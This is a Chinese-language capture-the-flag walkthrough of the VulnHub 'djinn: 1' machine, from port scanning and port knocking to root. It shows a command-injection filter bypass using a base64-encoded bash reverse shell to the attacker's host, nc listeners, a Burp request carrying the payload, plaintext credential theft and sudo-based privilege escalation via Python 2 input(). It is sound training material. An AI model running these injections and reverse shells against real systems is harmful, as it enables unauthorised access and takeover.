djinn
djinn
目录
下载地址:djinn: 1 ~ VulnHub
1 信息收集
1.1 端口扫描
┌──(kali㉿kali)-[~]
└─$ nmap -sV -p - -T4 192.168.50.71
Nmap scan report for djinn (192.168.50.71)
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
1337/tcp open waste?
7331/tcp open http Werkzeug httpd 0.16.0 (Python 2.7.15+)
1.2 服务信息收集
-
http://192.168.50.71:7331/
┌──(kali㉿kali)-[~/djinn] └─$ dirsearch -t30 -u http://192.168.50.71:7331/ -w /usr/share/wordlists/dirb/big.txt Target: http://192.168.50.71:7331/ [21:51:14] Starting: [21:51:32] 200 - 2KB - /genie [21:52:22] 200 - 385B - /wish Task Completed
1.2.1 WEB目录分析
-
http://192.168.50.71:7331/genie
:403 -
http://192.168.50.71:7331/wish
:-
尝试输入命令执行:发现此处可以直接执行命令
# 输入id http://192.168.50.71:7331/genie?name=uid%3D33%28www-data%29+gid%3D33%28www-data%29+groups%3D33%28www-data%29%0A # 输入pwd http://192.168.50.71:7331/genie?name=%2Fopt%2F80%0A # 输入ls http://192.168.50.71:7331/genie?name=app.py%0Aapp.pyc%0Astatic%0Atemplates%0A # 输入whereis nc http://192.168.50.71:7331/genie?name=nc%3A+%2Fbin%2Fnc+%2Fbin%2Fnc.openbsd+%2Fusr%2Fshare%2Fman%2Fman1%2Fnc.1.gz%0A # 输入cat /etc/passwd http://192.168.50.71:7331/genie?name=Wrong+choice+of+words
-
经过BP验证测试,发现该页面过滤了以下字符
$ * . / ; ? ^
-
-
http://192.168.50.71:1337
提示说:答对1000次会给提示┌──(kali㉿kali)-[~] └─$ curl --http0.9 -k "http://192.168.50.71:1337" ____ _____ _ / ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ | | _ / _` | '_ ` _ \ / _ \ | | | | '_ ` _ \ / _ \ | |_| | (_| | | | | | | __/ | | | | | | | | | __/ \____|\__,_|_| |_| |_|\___| |_| |_|_| |_| |_|\___| Let's see how good you are with simple maths Answer my questions 1000 times and I'll give you your gift. (7, '/', 7)
-
编写python脚本,收集gift
import re, telnetlib, logging, time,sys tn = telnetlib.Telnet("192.168.50.71", 1337) time.sleep(0.5) def dealresponse(): try: data = tn.read_very_eager().decode("utf-8") data = re.search("(.*?)\s>", data).group(1) except: logging.warning("error") return data def calc(): data = dealresponse() if "Here is your gift" in data: print(data) sys.exit(0) else: data = data.strip("()").replace("'", "") data = data.split(",") num1 = data[0].strip() opt = data[1].strip() num2 = data[2].strip() ret = str(eval(num1 + opt + num2)) tn.write(ret.encode("utf-8") + b"\n") if __name__ == '__main__': i = 1 while i < 1004: getret = calc() time.sleep(0.1) i = i + 1
-
得到gift如下:
Here is your gift, I hope you know what to do with it: 1356, 6784, 3409
1.2.2 ftp文件内容分析
-
尝试登录ftp收集信息
┌──(kali㉿kali)-[~] └─$ ftp anonymous@192.168.50.71 Connected to 192.168.50.71. 220 (vsFTPd 3.0.3) 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 229 Entering Extended Passive Mode (|||26401|) 150 Here comes the directory listing. -rw-r--r-- 1 0 0 11 Oct 20 2019 creds.txt -rw-r--r-- 1 0 0 128 Oct 21 2019 game.txt -rw-r--r-- 1 0 0 113 Oct 21 2019 message.txt 226 Directory send OK. # 利用以下命令下载所有文件 ftp> get filename
-
收集到的文件内容
nitu:81299 oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize. @nitish81299 I am going on holidays for few days, please take care of all the work. And don't mess up anything.
1.2.3 knockd敲门
knockd详情请参考此篇博文:knock:端口敲门服务 - f_carey - 博客园 (cnblogs.com)
-
http://192.168.50.71:7331/wish
:得到的gift尝试使用knockd敲门,并探测所打开的服务 -
安装knockd:
sudo apt install knockd
-
敲门:
knock 192.168.50.71 1356 6784 3409
-
探测所打开的服务:新增了打开ssh的端口
┌──(kali㉿kali)-[~] └─$ nmap -A -p - -T4 192.168.50.71 -oA djinn Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-28 10:29 CST Nmap scan report for 192.168.50.71 Host is up (0.00020s latency). Not shown: 65531 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 0 0 11 Oct 20 2019 creds.txt | -rw-r--r-- 1 0 0 128 Oct 21 2019 game.txt |_-rw-r--r-- 1 0 0 113 Oct 21 2019 message.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.50.2 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 b8:cb:14:15:05:a0:24:43:d5:8e:6d:bd:97:c0:63:e9 (RSA) | 256 d5:70:dd:81:62:e4:fe:94:1b:65:bf:77:3a:e1:81:26 (ECDSA) |_ 256 6a:2a:ba:9c:ba:b2:2e:19:9f:5c:1c:87:74:0a:25:f0 (ED25519) 1337/tcp open waste? | fingerprint-strings: | NULL: | ____ _____ _ | ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ | \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/ | ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___| | Let's see how good you are with simple maths | Answer my questions 1000 times and I'll give you your gift. | '/', 2) | RPCCheck: | ____ _____ _ | ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___ | \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/ | ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___| | Let's see how good you are with simple maths | Answer my questions 1000 times and I'll give you your gift. |_ '-', 1) 7331/tcp open http Werkzeug httpd 0.16.0 (Python 2.7.15+) |_http-title: Lost in space
2 GetShell
2.1 尝试使用nc反弹shell
-
在
http://192.168.50.71:7331/wish
页面执行以下命令:# nc 192.168.50.2 2333 # 192.168.50.2 为kali主机地址,kali中监听了2333端口 http://192.168.50.71:7331/genie?name=Wrong+choice+of+words
-
经过测试目标页面可能过滤了符号,将IP地址改为十进制尝试
# nc 3232248322 2333 虽然可以建立nc连接,但无法进行命令交互
- 为什么IP可以转换成十进制,请参考之前写的文章:
2.2 尝试利用系统命令注入
bash -i >& /dev/tcp/192.168.50.2/2333 0>&1
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx" | base64 -d | bash -i
或使用BP:
POST /wish HTTP/1.1
Host: 192.168.50.71:7331
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
Origin: http://192.168.50.71:7331
Connection: close
Referer: http://192.168.50.71:7331/wish
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
cmd=echo+%22YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx%22+%7C+base64+-d+%7C+bash+-i
2.3 反弹Shell
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 2333
listening on [any] 2333 ...
connect to [192.168.50.2] from (UNKNOWN) [192.168.50.71] 48930
bash: cannot set terminal process group (843): Inappropriate ioctl for device
bash: no job control in this shell
www-data@djinn:/opt/80$
2.4 切换python Shell
python -c "import pty;pty.spawn('/bin/bash')"
3 提权
3.1 收集当前系统信息
-
查看
/etc/passwd
www-data@djinn:/opt/80$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin sshd:x:109:65534::/run/sshd:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false sam:x:1000:1000:sam,,,:/home/sam:/bin/bash ftp:x:111:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin nitish:x:1001:1001::/home/nitish:/bin/bash
-
查看
app.py
www-data@djinn:/opt/80$ cat app.py import subprocess from flask import Flask, redirect, render_template, request, url_for app = Flask(__name__) app.secret_key = "key" CREDS = "/home/nitish/.dev/creds.txt" RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"] def validate(cmd): if CREDS in cmd and "cat" not in cmd: return True try: for i in RCE: for j in cmd: if i == j: return False return True except Exception: return False @app.route("/", methods=["GET"]) def index(): return render_template("main.html") @app.route("/wish", methods=['POST', "GET"]) def wish(): execute = request.form.get("cmd") if execute: if validate(execute): output = subprocess.Popen(execute, shell=True, stdout=subprocess.PIPE).stdout.read() else: output = "Wrong choice of words" return redirect(url_for("genie", name=output)) else: return render_template('wish.html') @app.route('/genie', methods=['GET', 'POST']) def genie(): if 'name' in request.args: page = request.args.get('name') else: page = "It's not that hard" return render_template('genie.html', file=page) if __name__ == "__main__": app.run(host='0.0.0.0', debug=True)
-
查看具有SID权限的命令
www-data@djinn:/opt/80$ find / -perm -u=s 2>/dev/null /usr/bin/traceroute6.iputils /usr/bin/at /usr/bin/pkexec /usr/bin/gpasswd /usr/bin/chfn /usr/bin/newgidmap /usr/bin/genie /usr/bin/newgrp /usr/bin/passwd /usr/bin/newuidmap /usr/bin/chsh /usr/bin/sudo /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/snapd/snap-confine /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/dbus-1.0/dbus-daemon-launch-helper /bin/ping /bin/mount /bin/fusermount /bin/umount /bin/su
-
查看当前系统用户所创建的文件
www-data@djinn:/opt/80$ find / -user nitish 2>/dev/null /home/nitish /home/nitish/.cache /home/nitish/user.txt /home/nitish/.gnupg /home/nitish/.bashrc /home/nitish/.dev /home/nitish/.dev/creds.txt www-data@djinn:/opt/80$ find / -user sam 2>/dev/null /usr/bin/genie /home/sam
-
查看用户所创建的文件内容:得到nitish用户的密码
www-data@djinn:/opt/80$ cat /home/nitish/user.txt cat: /home/nitish/user.txt: Permission denied www-data@djinn:/opt/80$ cat /home/nitish/.dev/creds.txt nitish:p4ssw0rdStr3r0n9
3.2 切换用户
www-data@djinn:/opt/80$ su - nitish
Password: p4ssw0rdStr3r0n9
nitish@djinn:~$ cat user.txt
10aay8289ptgguy1pvfa73alzusyyx3c
3.3 提权
-
查看nitish的sudo权限
nitish@djinn:~$ sudo -l Matching Defaults entries for nitish on djinn: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nitish may run the following commands on djinn: (sam) NOPASSWD: /usr/bin/genie
-
查看命令genie的功能
nitish@djinn:~$ genie -h genie -h usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish I know you've came to me bearing wishes in mind. So go ahead make your wishes. positional arguments: wish Enter your wish optional arguments: -h, --help show this help message and exit -g, --god pass the wish to god -p SHELL, --shell SHELL Gives you shell -e EXEC, --exec EXEC execute command nitish@djinn:~$ man genie NAME genie - Make a wish SYNOPSIS genie [-h] [-g] [-p SHELL] [-e EXEC] wish DESCRIPTION genie would complete all your wishes, even the naughty ones. We all dream of getting those crazy privelege escalations, this will even help you acheive that. OPTIONS wish This is the wish you want to make . -g, --god Sometime we all would like to make a wish to god, this option let you make wish directly to God;r q to quit) Though genie can't gurantee you that your wish will be heard by God, he's a busy man you know; -p, --shell Well who doesn't love those. You can get shell. Ex: -p "/bin/sh" -e, --exec Execute command on someone else computer is just too damn fun, but this comes with some restrictions. -cmd You know sometime all you new is a damn CMD, windows I love you. SEE ALSO mzfr.github.io BUGS There are shit loads of bug in this program, it's all about finding one.e genie(8) line 24 (press h for help or q to quit) AUTHOR mzfr 1.0 11 November 2019 man(8)
- 存在
-cmd
参数,尝试使用该参数进行提权
- 存在
-
利用genie切换到sam用户
nitish@djinn:~$ sudo -u sam genie -cmd id my man!! $ id uid=1000(sam) gid=1000(sam) groups=1000(sam),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare) $ python -c "import pty;pty.spawn('/bin/bash')" sam@djinn:~$
-
查看sam用户拥有的sudo权限
sam@djinn:/home/sam$ sudo -l sudo -l Matching Defaults entries for sam on djinn: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User sam may run the following commands on djinn: (root) NOPASSWD: /root/lago
-
查看命令lago功能
sam@djinn:/home/sam$ sudo /root/lago -h What do you want to do ? 1 - Be naughty 2 - Guess the number 3 - Read some damn files 4 - Work Enter your choice:/root/root.txt Man Stop hacking the damn input menu Do something better with your life
-
查看sam用户家目录下的文件
sam@djinn:/home/sam$ ls -la total 36 drwxr-x--- 4 sam sam 4096 Nov 14 2019 . drwxr-xr-x 4 root root 4096 Nov 14 2019 .. -rw------- 1 root root 417 Nov 14 2019 .bash_history -rw-r--r-- 1 root root 220 Oct 20 2019 .bash_logout -rw-r--r-- 1 sam sam 3771 Oct 20 2019 .bashrc drwx------ 2 sam sam 4096 Nov 11 2019 .cache drwx------ 3 sam sam 4096 Oct 20 2019 .gnupg -rw-r--r-- 1 sam sam 807 Oct 20 2019 .profile -rw-r--r-- 1 sam sam 1749 Nov 7 2019 .pyc -rw-r--r-- 1 sam sam 0 Nov 7 2019 .sudo_as_admin_successful sam@djinn:/home/sam$
-
下载
.pyc
文件sam@djinn:/home/sam$ scp .pyc kali@192.168.50.2:/home/kali
-
反编译
.pyc
文件- 下载安装python反编译模块:
pip install uncompyle
- 下载反编译软件:Easy Python Decompiler - Browse Files at SourceForge.net
# python反编译模块,这个我kali环境为python3.9的无法使用,利用下载反编译软件成功反编译 uncompyle6 -o 1.py 1.pyc # 得到反编译内容如下:得知这就是lago程序的源代码 # Embedded file name: /home/mzfr/scripts/exp.py from getpass import getuser from os import system from random import randint def naughtyboi(): print 'Working on it!! ' def guessit(): num = randint(1, 101) print 'Choose a number between 1 to 100: ' s = input('Enter your number: ') if s == num: system('/bin/sh') else: print 'Better Luck next time' def readfiles(): user = getuser() path = input('Enter the full of the file to read: ') print 'User %s is not allowed to read %s' % (user, path) def options(): print 'What do you want to do ?' print '1 - Be naughty' print '2 - Guess the number' print '3 - Read some damn files' print '4 - Work' choice = int(input('Enter your choice: ')) return choice def main(op): if op == 1: naughtyboi() elif op == 2: guessit() elif op == 3: readfiles() elif op == 4: print 'work your ass off!!' else: print 'Do something better with your life' if __name__ == '__main__': main(options())
- 下载安装python反编译模块:
-
由反编译的文件得到如下关键函数:
def guessit(): num = randint(1, 101) print 'Choose a number between 1 to 100: ' s = input('Enter your number: ') if s == num: system('/bin/sh') else: print 'Better Luck next time' # 由于s没有设置类型,当输入为:num时,if判断语句就永远为true,即可Getshell
-
提权成功
sam@djinn:~$ sudo /root/lago What do you want to do ? 1 - Be naughty 2 - Guess the number 3 - Read some damn files 4 - Work Enter your choice:2 Choose a number between 1 to 100: Enter your number: num num # id uid=0(root) gid=0(root) groups=0(root) # python -c "import pty;pty.spawn('/bin/bash')" root@djinn:~# cd /root root@djinn:/root# ls lago proof.sh root@djinn:/root# ./proof.sh 'unknown': I need something more specific. _ _ _ _ _ / \ _ __ ___ __ _ ___(_)_ __ __ _| | | | / _ \ | '_ ` _ \ / _` |_ / | '_ \ / _` | | | | / ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_| /_/ \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_) |___/ djinn pwned... __________________________________________________________________________ Proof: 33eur2wjdmq80z47nyy4fx54bnlg3ibc Path: /root Date: Sat Mar 26 19:45:12 IST 2022 Whoami: root __________________________________________________________________________ By @0xmzfr Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-) root@djinn:/root#